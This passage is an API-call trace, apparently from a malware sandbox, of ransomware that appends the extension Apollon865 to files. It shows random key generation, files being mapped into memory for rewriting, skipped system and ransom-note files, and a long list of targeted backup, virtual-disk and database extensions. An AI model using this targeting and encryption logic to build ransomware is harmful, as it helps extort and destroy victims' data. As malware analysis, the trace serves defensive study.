	[0053.416] lstrlenW (lpString="xdb") returned 3
	[0053.417] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1
	[0053.417] lstrlenW (lpString="xld") returned 3
	[0053.417] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1
	[0053.417] lstrlenW (lpString="xmlff") returned 5
	[0053.417] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1
	[0053.417] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\Favorites\\Links\\desktop.ini.Apollon865") returned 55
	[0053.417] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\Favorites\\Links\\desktop.ini" (normalized: "c:\\users\\default\\favorites\\links\\desktop.ini"), lpNewFileName="C:\\Users\\Default\\Favorites\\Links\\desktop.ini.Apollon865" (normalized: "c:\\users\\default\\favorites\\links\\desktop.ini.apollon865"), dwFlags=0x1) returned 1
	[0053.419] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Links\\desktop.ini.Apollon865" (normalized: "c:\\users\\default\\favorites\\links\\desktop.ini.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x118
	[0053.419] GetFileSizeEx (in: hFile=0x118, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=80) returned 1
	[0053.419] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0053.419] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0053.419] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0053.419] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf898) returned 1
	[0053.420] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0053.420] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0053.420] CreateFileMappingW (hFile=0x118, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x350, lpName=0x0) returned 0xc0
	[0053.422] MapViewOfFile (hFileMappingObject=0xc0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x350) returned 0x100000
	[0053.423] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf898) returned 1
	[0053.423] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0053.423] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0053.423] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0053.423] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0053.424] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0053.424] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0053.424] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0053.424] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0053.424] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5afa60
	[0053.424] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0053.424] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afa60 | out: hHeap=0x580000) returned 1
	[0053.424] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0053.424] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0053.424] CloseHandle (hObject=0xc0) returned 1
	[0053.424] CloseHandle (hObject=0x118) returned 1
	[0053.424] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0053.424] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0053.424] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0053.424] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e2bb6f0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e2bb6f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0053.424] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0053.424] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xb11062, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Web Slice Gallery.url", cAlternateFileName="WEBSLI~1.URL")) returned 1
	[0053.424] lstrcmpiW (lpString1="Web Slice Gallery.url", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0053.425] lstrcmpiW (lpString1="Web Slice Gallery.url", lpString2="Apollon865.txt.exe") returned 1
	[0053.425] lstrcmpiW (lpString1="Web Slice Gallery.url", lpString2=".") returned 1
	[0053.425] lstrcmpiW (lpString1="Web Slice Gallery.url", lpString2="..") returned 1
	[0053.425] lstrcmpiW (lpString1="Web Slice Gallery.url", lpString2="windows") returned -1
	[0053.425] lstrcmpiW (lpString1="Web Slice Gallery.url", lpString2="bootmgr") returned 1
	[0053.425] lstrcmpiW (lpString1="Web Slice Gallery.url", lpString2="temp") returned 1
	[0053.425] lstrcmpiW (lpString1="Web Slice Gallery.url", lpString2="pagefile.sys") returned 1
	[0053.425] lstrcmpiW (lpString1="Web Slice Gallery.url", lpString2="boot") returned 1
	[0053.425] lstrcmpiW (lpString1="Web Slice Gallery.url", lpString2="ids.txt") returned 1
	[0053.425] lstrcmpiW (lpString1="Web Slice Gallery.url", lpString2="ntuser.dat") returned 1
	[0053.425] lstrcmpiW (lpString1="Web Slice Gallery.url", lpString2="perflogs") returned 1
	[0053.425] lstrcmpiW (lpString1="Web Slice Gallery.url", lpString2="MSBuild") returned 1
	[0053.425] lstrlenW (lpString="Web Slice Gallery.url") returned 21
	[0053.425] lstrlenW (lpString="C:\\Users\\Default\\Favorites\\Links\\desktop.ini") returned 44
	[0053.425] lstrcpyW (in: lpString1=0x119e64a, lpString2="Web Slice Gallery.url" | out: lpString1="Web Slice Gallery.url") returned="Web Slice Gallery.url"
	[0053.425] lstrlenW (lpString="Web Slice Gallery.url") returned 21
	[0053.425] lstrlenW (lpString="Apollon865") returned 10
	[0053.425] lstrcmpiW (lpString1="allery.url", lpString2="Apollon865") returned -1
	[0053.425] lstrlenW (lpString=".dll") returned 4
	[0053.425] lstrcmpiW (lpString1="Web Slice Gallery.url", lpString2=".dll") returned 1
	[0053.425] lstrlenW (lpString=".lnk") returned 4
	[0053.425] lstrcmpiW (lpString1="Web Slice Gallery.url", lpString2=".lnk") returned 1
	[0053.425] lstrlenW (lpString=".ini") returned 4
	[0053.425] lstrcmpiW (lpString1="Web Slice Gallery.url", lpString2=".ini") returned 1
	[0053.425] lstrlenW (lpString=".sys") returned 4
	[0053.425] lstrcmpiW (lpString1="Web Slice Gallery.url", lpString2=".sys") returned 1
	[0053.425] lstrlenW (lpString="Web Slice Gallery.url") returned 21
	[0053.425] lstrlenW (lpString="bak") returned 3
	[0053.425] lstrcmpiW (lpString1="url", lpString2="bak") returned 1
	[0053.425] lstrlenW (lpString="ba_") returned 3
	[0053.425] lstrcmpiW (lpString1="url", lpString2="ba_") returned 1
	[0053.425] lstrlenW (lpString="dbb") returned 3
	[0053.425] lstrcmpiW (lpString1="url", lpString2="dbb") returned 1
	[0053.425] lstrlenW (lpString="vmdk") returned 4
	[0053.426] lstrcmpiW (lpString1=".url", lpString2="vmdk") returned -1
	[0053.426] lstrlenW (lpString="rar") returned 3
	[0053.426] lstrcmpiW (lpString1="url", lpString2="rar") returned 1
	[0053.426] lstrlenW (lpString="zip") returned 3
	[0053.426] lstrcmpiW (lpString1="url", lpString2="zip") returned -1
	[0053.426] lstrlenW (lpString="tgz") returned 3
	[0053.426] lstrcmpiW (lpString1="url", lpString2="tgz") returned 1
	[0053.426] lstrlenW (lpString="vbox") returned 4
	[0053.426] lstrcmpiW (lpString1=".url", lpString2="vbox") returned -1
	[0053.426] lstrlenW (lpString="vdi") returned 3
	[0053.426] lstrcmpiW (lpString1="url", lpString2="vdi") returned -1
	[0053.426] lstrlenW (lpString="vhd") returned 3
	[0053.426] lstrcmpiW (lpString1="url", lpString2="vhd") returned -1
	[0053.426] lstrlenW (lpString="vhdx") returned 4
	[0053.426] lstrcmpiW (lpString1=".url", lpString2="vhdx") returned -1
	[0053.426] lstrlenW (lpString="avhd") returned 4
	[0053.426] lstrcmpiW (lpString1=".url", lpString2="avhd") returned -1
	[0053.426] lstrlenW (lpString="db") returned 2
	[0053.426] lstrcmpiW (lpString1="rl", lpString2="db") returned 1
	[0053.426] lstrlenW (lpString="db2") returned 3
	[0053.426] lstrcmpiW (lpString1="url", lpString2="db2") returned 1
	[0053.426] lstrlenW (lpString="db3") returned 3
	[0053.426] lstrcmpiW (lpString1="url", lpString2="db3") returned 1
	[0053.426] lstrlenW (lpString="dbf") returned 3
	[0053.426] lstrcmpiW (lpString1="url", lpString2="dbf") returned 1
	[0053.426] lstrlenW (lpString="mdf") returned 3
	[0053.426] lstrcmpiW (lpString1="url", lpString2="mdf") returned 1
	[0053.426] lstrlenW (lpString="mdb") returned 3
	[0053.426] lstrcmpiW (lpString1="url", lpString2="mdb") returned 1
	[0053.426] lstrlenW (lpString="sql") returned 3
	[0053.426] lstrcmpiW (lpString1="url", lpString2="sql") returned 1
	[0053.426] lstrlenW (lpString="sqlite") returned 6
	[0053.426] lstrcmpiW (lpString1="ry.url", lpString2="sqlite") returned -1
	[0053.426] lstrlenW (lpString="sqlite3") returned 7
	[0053.426] lstrcmpiW (lpString1="ery.url", lpString2="sqlite3") returned -1
	[0053.427] lstrlenW (lpString="sqlitedb") returned 8
	[0053.427] lstrcmpiW (lpString1="lery.url", lpString2="sqlitedb") returned -1
	[0053.427] lstrlenW (lpString="xml") returned 3
	[0053.427] lstrcmpiW (lpString1="url", lpString2="xml") returned -1
	[0053.427] lstrlenW (lpString="$er") returned 3
	[0053.427] lstrcmpiW (lpString1="url", lpString2="$er") returned 1
	[0053.427] lstrlenW (lpString="4dd") returned 3
	[0053.427] lstrcmpiW (lpString1="url", lpString2="4dd") returned 1
	[0053.427] lstrlenW (lpString="4dl") returned 3
	[0053.427] lstrcmpiW (lpString1="url", lpString2="4dl") returned 1
	[0053.427] lstrlenW (lpString="^^^") returned 3
	[0053.427] lstrcmpiW (lpString1="url", lpString2="^^^") returned 1
	[0053.427] lstrlenW (lpString="abs") returned 3
	[0053.427] lstrcmpiW (lpString1="url", lpString2="abs") returned 1
	[0053.427] lstrlenW (lpString="abx") returned 3
	[0053.427] lstrcmpiW (lpString1="url", lpString2="abx") returned 1
	[0053.427] lstrlenW (lpString="accdb") returned 5
	[0053.427] lstrcmpiW (lpString1="y.url", lpString2="accdb") returned 1
	[0053.427] lstrlenW (lpString="accdc") returned 5
	[0053.427] lstrcmpiW (lpString1="y.url", lpString2="accdc") returned 1
	[0053.427] lstrlenW (lpString="accde") returned 5
	[0053.427] lstrcmpiW (lpString1="y.url", lpString2="accde") returned 1
	[0053.427] lstrlenW (lpString="accdr") returned 5
	[0053.427] lstrcmpiW (lpString1="y.url", lpString2="accdr") returned 1
	[0053.427] lstrlenW (lpString="accdt") returned 5
	[0053.427] lstrcmpiW (lpString1="y.url", lpString2="accdt") returned 1
	[0053.427] lstrlenW (lpString="accdw") returned 5
	[0053.427] lstrcmpiW (lpString1="y.url", lpString2="accdw") returned 1
	[0053.427] lstrlenW (lpString="accft") returned 5
	[0053.427] lstrcmpiW (lpString1="y.url", lpString2="accft") returned 1
	[0053.427] lstrlenW (lpString="adb") returned 3
	[0053.427] lstrcmpiW (lpString1="url", lpString2="adb") returned 1
	[0053.427] lstrlenW (lpString="adb") returned 3
	[0053.427] lstrcmpiW (lpString1="url", lpString2="adb") returned 1
	[0053.427] lstrlenW (lpString="ade") returned 3
	[0053.428] lstrcmpiW (lpString1="url", lpString2="ade") returned 1
	[0053.428] lstrlenW (lpString="adf") returned 3
	[0053.428] lstrcmpiW (lpString1="url", lpString2="adf") returned 1
	[0053.428] lstrlenW (lpString="adn") returned 3
	[0053.428] lstrcmpiW (lpString1="url", lpString2="adn") returned 1
	[0053.428] lstrlenW (lpString="adp") returned 3
	[0053.428] lstrcmpiW (lpString1="url", lpString2="adp") returned 1
	[0053.428] lstrlenW (lpString="alf") returned 3
	[0053.428] lstrcmpiW (lpString1="url", lpString2="alf") returned 1
	[0053.428] lstrlenW (lpString="ask") returned 3
	[0053.428] lstrcmpiW (lpString1="url", lpString2="ask") returned 1
	[0053.428] lstrlenW (lpString="btr") returned 3
	[0053.428] lstrcmpiW (lpString1="url", lpString2="btr") returned 1
	[0053.428] lstrlenW (lpString="cat") returned 3
	[0053.428] lstrcmpiW (lpString1="url", lpString2="cat") returned 1
	[0053.428] lstrlenW (lpString="cdb") returned 3
	[0053.428] lstrcmpiW (lpString1="url", lpString2="cdb") returned 1
	[0053.428] lstrlenW (lpString="ckp") returned 3
	[0053.428] lstrcmpiW (lpString1="url", lpString2="ckp") returned 1
	[0053.428] lstrlenW (lpString="cma") returned 3
	[0053.428] lstrcmpiW (lpString1="url", lpString2="cma") returned 1
	[0053.428] lstrlenW (lpString="cpd") returned 3
	[0053.428] lstrcmpiW (lpString1="url", lpString2="cpd") returned 1
	[0053.428] lstrlenW (lpString="dacpac") returned 6
	[0053.428] lstrcmpiW (lpString1="ry.url", lpString2="dacpac") returned 1
	[0053.428] lstrlenW (lpString="dad") returned 3
	[0053.428] lstrcmpiW (lpString1="url", lpString2="dad") returned 1
	[0053.428] lstrlenW (lpString="dadiagrams") returned 10
	[0053.428] lstrcmpiW (lpString1="allery.url", lpString2="dadiagrams") returned -1
	[0053.428] lstrlenW (lpString="daschema") returned 8
	[0053.428] lstrcmpiW (lpString1="lery.url", lpString2="daschema") returned 1
	[0053.428] lstrlenW (lpString="db-journal") returned 10
	[0053.428] lstrcmpiW (lpString1="allery.url", lpString2="db-journal") returned -1
	[0053.428] lstrlenW (lpString="db-shm") returned 6
	[0053.428] lstrcmpiW (lpString1="ry.url", lpString2="db-shm") returned 1
	[0053.428] lstrlenW (lpString="db-wal") returned 6
	[0053.429] lstrcmpiW (lpString1="ry.url", lpString2="db-wal") returned 1
	[0053.429] lstrlenW (lpString="dbc") returned 3
	[0053.429] lstrcmpiW (lpString1="url", lpString2="dbc") returned 1
	[0053.429] lstrlenW (lpString="dbs") returned 3
	[0053.429] lstrcmpiW (lpString1="url", lpString2="dbs") returned 1
	[0053.429] lstrlenW (lpString="dbt") returned 3
	[0053.429] lstrcmpiW (lpString1="url", lpString2="dbt") returned 1
	[0053.429] lstrlenW (lpString="dbv") returned 3
	[0053.429] lstrcmpiW (lpString1="url", lpString2="dbv") returned 1
	[0053.429] lstrlenW (lpString="dbx") returned 3
	[0053.429] lstrcmpiW (lpString1="url", lpString2="dbx") returned 1
	[0053.429] lstrlenW (lpString="dcb") returned 3
	[0053.429] lstrcmpiW (lpString1="url", lpString2="dcb") returned 1
	[0053.429] lstrlenW (lpString="dct") returned 3
	[0053.429] lstrcmpiW (lpString1="url", lpString2="dct") returned 1
	[0053.429] lstrlenW (lpString="dcx") returned 3
	[0053.429] lstrcmpiW (lpString1="url", lpString2="dcx") returned 1
	[0053.429] lstrlenW (lpString="ddl") returned 3
	[0053.429] lstrcmpiW (lpString1="url", lpString2="ddl") returned 1
	[0053.429] lstrlenW (lpString="dlis") returned 4
	[0053.429] lstrcmpiW (lpString1=".url", lpString2="dlis") returned -1
	[0053.429] lstrlenW (lpString="dp1") returned 3
	[0053.429] lstrcmpiW (lpString1="url", lpString2="dp1") returned 1
	[0053.429] lstrlenW (lpString="dqy") returned 3
	[0053.429] lstrcmpiW (lpString1="url", lpString2="dqy") returned 1
	[0053.429] lstrlenW (lpString="dsk") returned 3
	[0053.429] lstrcmpiW (lpString1="url", lpString2="dsk") returned 1
	[0053.429] lstrlenW (lpString="dsn") returned 3
	[0053.429] lstrcmpiW (lpString1="url", lpString2="dsn") returned 1
	[0053.429] lstrlenW (lpString="dtsx") returned 4
	[0053.429] lstrcmpiW (lpString1=".url", lpString2="dtsx") returned -1
	[0053.429] lstrlenW (lpString="dxl") returned 3
	[0053.429] lstrcmpiW (lpString1="url", lpString2="dxl") returned 1
	[0053.429] lstrlenW (lpString="eco") returned 3
	[0053.429] lstrcmpiW (lpString1="url", lpString2="eco") returned 1
	[0053.430] lstrlenW (lpString="ecx") returned 3
	[0053.430] lstrcmpiW (lpString1="url", lpString2="ecx") returned 1
	[0053.430] lstrlenW (lpString="edb") returned 3
	[0053.430] lstrcmpiW (lpString1="url", lpString2="edb") returned 1
	[0053.430] lstrlenW (lpString="epim") returned 4
	[0053.430] lstrcmpiW (lpString1=".url", lpString2="epim") returned -1
	[0053.430] lstrlenW (lpString="fcd") returned 3
	[0053.430] lstrcmpiW (lpString1="url", lpString2="fcd") returned 1
	[0053.430] lstrlenW (lpString="fdb") returned 3
	[0053.430] lstrcmpiW (lpString1="url", lpString2="fdb") returned 1
	[0053.430] lstrlenW (lpString="fic") returned 3
	[0053.430] lstrcmpiW (lpString1="url", lpString2="fic") returned 1
	[0053.430] lstrlenW (lpString="flexolibrary") returned 12
	[0053.430] lstrcmpiW (lpString1=" Gallery.url", lpString2="flexolibrary") returned -1
	[0053.430] lstrlenW (lpString="fm5") returned 3
	[0053.430] lstrcmpiW (lpString1="url", lpString2="fm5") returned 1
	[0053.430] lstrlenW (lpString="fmp") returned 3
	[0053.430] lstrcmpiW (lpString1="url", lpString2="fmp") returned 1
	[0053.430] lstrlenW (lpString="fmp12") returned 5
	[0053.430] lstrcmpiW (lpString1="y.url", lpString2="fmp12") returned 1
	[0053.430] lstrlenW (lpString="fmpsl") returned 5
	[0053.430] lstrcmpiW (lpString1="y.url", lpString2="fmpsl") returned 1
	[0053.430] lstrlenW (lpString="fol") returned 3
	[0053.430] lstrcmpiW (lpString1="url", lpString2="fol") returned 1
	[0053.430] lstrlenW (lpString="fp3") returned 3
	[0053.430] lstrcmpiW (lpString1="url", lpString2="fp3") returned 1
	[0053.430] lstrlenW (lpString="fp4") returned 3
	[0053.430] lstrcmpiW (lpString1="url", lpString2="fp4") returned 1
	[0053.430] lstrlenW (lpString="fp5") returned 3
	[0053.430] lstrcmpiW (lpString1="url", lpString2="fp5") returned 1
	[0053.430] lstrlenW (lpString="fp7") returned 3
	[0053.430] lstrcmpiW (lpString1="url", lpString2="fp7") returned 1
	[0053.430] lstrlenW (lpString="fpt") returned 3
	[0053.430] lstrcmpiW (lpString1="url", lpString2="fpt") returned 1
	[0053.431] lstrlenW (lpString="frm") returned 3
	[0053.431] lstrcmpiW (lpString1="url", lpString2="frm") returned 1
	[0053.431] lstrlenW (lpString="gdb") returned 3
	[0053.431] lstrcmpiW (lpString1="url", lpString2="gdb") returned 1
	[0053.431] lstrlenW (lpString="gdb") returned 3
	[0053.431] lstrcmpiW (lpString1="url", lpString2="gdb") returned 1
	[0053.431] lstrlenW (lpString="grdb") returned 4
	[0053.431] lstrcmpiW (lpString1=".url", lpString2="grdb") returned -1
	[0053.431] lstrlenW (lpString="gwi") returned 3
	[0053.431] lstrcmpiW (lpString1="url", lpString2="gwi") returned 1
	[0053.431] lstrlenW (lpString="hdb") returned 3
	[0053.431] lstrcmpiW (lpString1="url", lpString2="hdb") returned 1
	[0053.431] lstrlenW (lpString="his") returned 3
	[0053.431] lstrcmpiW (lpString1="url", lpString2="his") returned 1
	[0053.431] lstrlenW (lpString="ib") returned 2
	[0053.431] lstrcmpiW (lpString1="rl", lpString2="ib") returned 1
	[0053.431] lstrlenW (lpString="idb") returned 3
	[0053.431] lstrcmpiW (lpString1="url", lpString2="idb") returned 1
	[0053.431] lstrlenW (lpString="ihx") returned 3
	[0053.431] lstrcmpiW (lpString1="url", lpString2="ihx") returned 1
	[0053.431] lstrlenW (lpString="itdb") returned 4
	[0053.431] lstrcmpiW (lpString1=".url", lpString2="itdb") returned -1
	[0053.431] lstrlenW (lpString="itw") returned 3
	[0053.431] lstrcmpiW (lpString1="url", lpString2="itw") returned 1
	[0053.431] lstrlenW (lpString="jet") returned 3
	[0053.431] lstrcmpiW (lpString1="url", lpString2="jet") returned 1
	[0053.431] lstrlenW (lpString="jtx") returned 3
	[0053.431] lstrcmpiW (lpString1="url", lpString2="jtx") returned 1
	[0053.431] lstrlenW (lpString="kdb") returned 3
	[0053.431] lstrcmpiW (lpString1="url", lpString2="kdb") returned 1
	[0053.431] lstrlenW (lpString="kexi") returned 4
	[0053.432] lstrcmpiW (lpString1=".url", lpString2="kexi") returned -1
	[0053.432] lstrlenW (lpString="kexic") returned 5
	[0053.432] lstrcmpiW (lpString1="y.url", lpString2="kexic") returned 1
	[0053.432] lstrlenW (lpString="kexis") returned 5
	[0053.432] lstrcmpiW (lpString1="y.url", lpString2="kexis") returned 1
	[0053.432] lstrlenW (lpString="lgc") returned 3
	[0053.432] lstrcmpiW (lpString1="url", lpString2="lgc") returned 1
	[0053.432] lstrlenW (lpString="lwx") returned 3
	[0053.432] lstrcmpiW (lpString1="url", lpString2="lwx") returned 1
	[0053.432] lstrlenW (lpString="maf") returned 3
	[0053.432] lstrcmpiW (lpString1="url", lpString2="maf") returned 1
	[0053.432] lstrlenW (lpString="maq") returned 3
	[0053.432] lstrcmpiW (lpString1="url", lpString2="maq") returned 1
	[0053.432] lstrlenW (lpString="mar") returned 3
	[0053.432] lstrcmpiW (lpString1="url", lpString2="mar") returned 1
	[0053.432] lstrlenW (lpString="marshal") returned 7
	[0053.432] lstrcmpiW (lpString1="ery.url", lpString2="marshal") returned -1
	[0053.432] lstrlenW (lpString="mas") returned 3
	[0053.432] lstrcmpiW (lpString1="url", lpString2="mas") returned 1
	[0053.432] lstrlenW (lpString="mav") returned 3
	[0053.432] lstrcmpiW (lpString1="url", lpString2="mav") returned 1
	[0053.432] lstrlenW (lpString="maw") returned 3
	[0053.432] lstrcmpiW (lpString1="url", lpString2="maw") returned 1
	[0053.432] lstrlenW (lpString="mdbhtml") returned 7
	[0053.432] lstrcmpiW (lpString1="ery.url", lpString2="mdbhtml") returned -1
	[0053.432] lstrlenW (lpString="mdn") returned 3
	[0053.432] lstrcmpiW (lpString1="url", lpString2="mdn") returned 1
	[0053.432] lstrlenW (lpString="mdt") returned 3
	[0053.432] lstrcmpiW (lpString1="url", lpString2="mdt") returned 1
	[0053.432] lstrlenW (lpString="mfd") returned 3
	[0053.432] lstrcmpiW (lpString1="url", lpString2="mfd") returned 1
	[0053.432] lstrlenW (lpString="mpd") returned 3
	[0053.432] lstrcmpiW (lpString1="url", lpString2="mpd") returned 1
	[0053.432] lstrlenW (lpString="mrg") returned 3
	[0053.432] lstrcmpiW (lpString1="url", lpString2="mrg") returned 1
	[0053.432] lstrlenW (lpString="mud") returned 3
	[0053.432] lstrcmpiW (lpString1="url", lpString2="mud") returned 1
	[0053.433] lstrlenW (lpString="mwb") returned 3
	[0053.433] lstrcmpiW (lpString1="url", lpString2="mwb") returned 1
	[0053.433] lstrlenW (lpString="myd") returned 3
	[0053.433] lstrcmpiW (lpString1="url", lpString2="myd") returned 1
	[0053.433] lstrlenW (lpString="ndf") returned 3
	[0053.433] lstrcmpiW (lpString1="url", lpString2="ndf") returned 1
	[0053.433] lstrlenW (lpString="nnt") returned 3
	[0053.433] lstrcmpiW (lpString1="url", lpString2="nnt") returned 1
	[0053.433] lstrlenW (lpString="nrmlib") returned 6
	[0053.433] lstrcmpiW (lpString1="ry.url", lpString2="nrmlib") returned 1
	[0053.433] lstrlenW (lpString="ns2") returned 3
	[0053.433] lstrcmpiW (lpString1="url", lpString2="ns2") returned 1
	[0053.433] lstrlenW (lpString="ns3") returned 3
	[0053.433] lstrcmpiW (lpString1="url", lpString2="ns3") returned 1
	[0053.433] lstrlenW (lpString="ns4") returned 3
	[0053.433] lstrcmpiW (lpString1="url", lpString2="ns4") returned 1
	[0053.433] lstrlenW (lpString="nsf") returned 3
	[0053.433] lstrcmpiW (lpString1="url", lpString2="nsf") returned 1
	[0053.433] lstrlenW (lpString="nv") returned 2
	[0053.433] lstrcmpiW (lpString1="rl", lpString2="nv") returned 1
	[0053.433] lstrlenW (lpString="nv2") returned 3
	[0053.433] lstrcmpiW (lpString1="url", lpString2="nv2") returned 1
	[0053.433] lstrlenW (lpString="nwdb") returned 4
	[0053.433] lstrcmpiW (lpString1=".url", lpString2="nwdb") returned -1
	[0053.433] lstrlenW (lpString="nyf") returned 3
	[0053.433] lstrcmpiW (lpString1="url", lpString2="nyf") returned 1
	[0053.433] lstrlenW (lpString="odb") returned 3
	[0053.433] lstrcmpiW (lpString1="url", lpString2="odb") returned 1
	[0053.433] lstrlenW (lpString="odb") returned 3
	[0053.433] lstrcmpiW (lpString1="url", lpString2="odb") returned 1
	[0053.433] lstrlenW (lpString="oqy") returned 3
	[0053.433] lstrcmpiW (lpString1="url", lpString2="oqy") returned 1
	[0053.433] lstrlenW (lpString="ora") returned 3
	[0053.433] lstrcmpiW (lpString1="url", lpString2="ora") returned 1
	[0053.434] lstrlenW (lpString="orx") returned 3
	[0053.434] lstrcmpiW (lpString1="url", lpString2="orx") returned 1
	[0053.434] lstrlenW (lpString="owc") returned 3
	[0053.434] lstrcmpiW (lpString1="url", lpString2="owc") returned 1
	[0053.434] lstrlenW (lpString="p96") returned 3
	[0053.434] lstrcmpiW (lpString1="url", lpString2="p96") returned 1
	[0053.434] lstrlenW (lpString="p97") returned 3
	[0053.434] lstrcmpiW (lpString1="url", lpString2="p97") returned 1
	[0053.434] lstrlenW (lpString="pan") returned 3
	[0053.434] lstrcmpiW (lpString1="url", lpString2="pan") returned 1
	[0053.434] lstrlenW (lpString="pdb") returned 3
	[0053.434] lstrcmpiW (lpString1="url", lpString2="pdb") returned 1
	[0053.434] lstrlenW (lpString="pdm") returned 3
	[0053.434] lstrcmpiW (lpString1="url", lpString2="pdm") returned 1
	[0053.434] lstrlenW (lpString="pnz") returned 3
	[0053.434] lstrcmpiW (lpString1="url", lpString2="pnz") returned 1
	[0053.434] lstrlenW (lpString="qry") returned 3
	[0053.434] lstrcmpiW (lpString1="url", lpString2="qry") returned 1
	[0053.434] lstrlenW (lpString="qvd") returned 3
	[0053.434] lstrcmpiW (lpString1="url", lpString2="qvd") returned 1
	[0053.434] lstrlenW (lpString="rbf") returned 3
	[0053.434] lstrcmpiW (lpString1="url", lpString2="rbf") returned 1
	[0053.434] lstrlenW (lpString="rctd") returned 4
	[0053.434] lstrcmpiW (lpString1=".url", lpString2="rctd") returned -1
	[0053.434] lstrlenW (lpString="rod") returned 3
	[0053.434] lstrcmpiW (lpString1="url", lpString2="rod") returned 1
	[0053.434] lstrlenW (lpString="rodx") returned 4
	[0053.434] lstrcmpiW (lpString1=".url", lpString2="rodx") returned -1
	[0053.434] lstrlenW (lpString="rpd") returned 3
	[0053.434] lstrcmpiW (lpString1="url", lpString2="rpd") returned 1
	[0053.434] lstrlenW (lpString="rsd") returned 3
	[0053.434] lstrcmpiW (lpString1="url", lpString2="rsd") returned 1
	[0053.434] lstrlenW (lpString="sas7bdat") returned 8
	[0053.434] lstrcmpiW (lpString1="lery.url", lpString2="sas7bdat") returned -1
	[0053.434] lstrlenW (lpString="sbf") returned 3
	[0053.435] lstrcmpiW (lpString1="url", lpString2="sbf") returned 1
	[0053.435] lstrlenW (lpString="scx") returned 3
	[0053.435] lstrcmpiW (lpString1="url", lpString2="scx") returned 1
	[0053.435] lstrlenW (lpString="sdb") returned 3
	[0053.435] lstrcmpiW (lpString1="url", lpString2="sdb") returned 1
	[0053.435] lstrlenW (lpString="sdc") returned 3
	[0053.435] lstrcmpiW (lpString1="url", lpString2="sdc") returned 1
	[0053.435] lstrlenW (lpString="sdf") returned 3
	[0053.435] lstrcmpiW (lpString1="url", lpString2="sdf") returned 1
	[0053.435] lstrlenW (lpString="sis") returned 3
	[0053.435] lstrcmpiW (lpString1="url", lpString2="sis") returned 1
